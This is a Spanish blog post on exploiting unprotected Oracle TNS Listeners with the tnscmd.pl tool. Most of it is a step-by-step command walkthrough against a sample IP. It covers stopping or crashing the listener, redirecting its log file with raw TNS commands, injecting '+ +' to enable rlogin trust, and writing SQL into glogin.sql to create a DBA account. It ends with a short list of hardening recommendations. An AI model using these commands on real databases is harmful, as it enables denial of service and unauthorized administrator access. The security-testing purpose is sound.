Trasteando con los Listener

Muchas veces nos liamos protegiendo concienzudamente una aplicación, y nos olvidamos de otros componentes que pueden comprometer de manera global nuestro sistema. Es el viejo dicho de muchos: la seguridad es tan débil como el eslabón más débil.


Un ejemplo es descuidar el Listener de nuestra base de datos Oracle . De este modo, como por ejemplo, alguien que solo conozca el nombre del host (o dirección IP) y el puerto del listener (default 1521) podría tener control del mismo de manera remota, y por lo tanto:

  • Obtener información detallada de la configuración de Listener y la base dedatos.
  • Denial of Service (DoS): activar el nivel de depuración (trace) a"support" y causar una degradación en el servicio.
  • Denial of Service (DoS): incurrir en la estabilidad del servidorsobreescribiendo ficheros del SO (accesibles por el usuario oracle) a través dela modificación de la localicación de los ficheros de logs.
  • Denial of Service (DoS): Parar el listener y/o cambiar la contraseña dellistener.
  • Permitir Login via rlogin
  • Ejecutar SQL como DBA
Como por ejemplo, para el 'trasteo' he elegido un pequeño pero gran script en perl: tnscmd.pl (James W. Abendschan).

Básicamente, comprobamos la información obtenida a través del Listener de la base de datos, si se permite la modificación de parámetros remota y si está protegido por contraseña.
RECOPILACIÓN DE INFORMACIÓN
- Comprueba si el listener está corriendo en la máquina (ping):
unix% tnscmd -h 172.20.80.12 -p 1521

- Extrar información del estado, la versión y los servicios. Comprueba si existe ADMIN_RESTRICTIONS en el listener.ora (si se permite a usuarios remotos modificar parámetros). Comprueba si se ha fijado una contraseña (-SECURITY=ON):
unix% tnscmd status -h
172.20.80.12 -p 1521
unix% tnscmd status -h
172.20.80.12 -p 1521 --indent
unix% tnscmd version -h
172.20.80.12 -p 1521
unix% tnscmd services -h
172.20.80.12 -p 1521 --indent

DoS
- Comprueba si es posible detener el TNS Listener (si no está protegido por password):
unix% lsnrctl stop
172.20.80.12:1521 (necesitaríamos un cliente Oracle)
unix% tnscmd stop -h
172.20.80.12 -p 1521 (TNS-01169 indicaría que existe una contraseña: se ha intentado ejecutar un comando sin pasar una password)

- Comprueba que diversos paquetes TNS malformados pueden corromper el Listener (SEGV trc_file trc_level use_plugandplay trc_directory snmp_visible log_file log_status log_directory):
unix% tnscmd [badcommand] -h
172.20.80.12 (hemos comprobado en laboratorio, que se ha podido tirar el Listener, sin necesidad de validación con contraseña)

MODIFICACIÓN DE VARIABLES
- Modifica la variable LOGFILE para cambiar la ubicación del fichero de logs del Listener
unix% tnscmd -h
172.20.80.12 -p 1521 --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=/tmp/prueba)))"

EJECUCIÓN DE COMANDOS
- Intenta habilitar el acceso por .rhost ejecutando un comando embebido como usuario oracle:
unix% tnscmd -h
172.20.80.12 --rawcmd "(CONNECT_DATA=(( + + "

CREAR UN USUARIO DBA EN LA BD
- Cambia la ubicación del fichero de log del TNS Listener apuntando al fichero login.sql o glogin.sql (ver modificación de variables)
- Chequea mediante un comando status (ver recopilación de información)
- Crea un usuario DBA en la base de datos inyectando la sentencia SQL correspondiente (ver ejecución de comandos):
unix% tnscmd -h
172.20.80.12 -p 1521 --rawcmd "(CONNECT_DATA=((
> create user prueba identified by prueba;
> grant dba to prueba;
> "
- Vuelve a dejar la variable LOGFILE como estaba
- Login as prueba/prueba@database

Y por último, os dejo las RECOMENDACIONES para que no nos hagan pupa :
  • Establecer una contraseña en el Listener
  • Habilitar el logging
  • Activar Admin_restrictions
  • Aplicar los últimos parches
  • Bloquear SQL*NET en los firewalls
  • Asegurar el directorio $TNS_ADMIN
  • Asegurar TNSLSNR y LSNRCTL
  • Desactivar servicios innecesarios
  • Cambiar el puerto TNS por defecto
  • Monitorizar el fichero de log
Extraído de http://unlugarsinfin.blogspot.es

Comentarios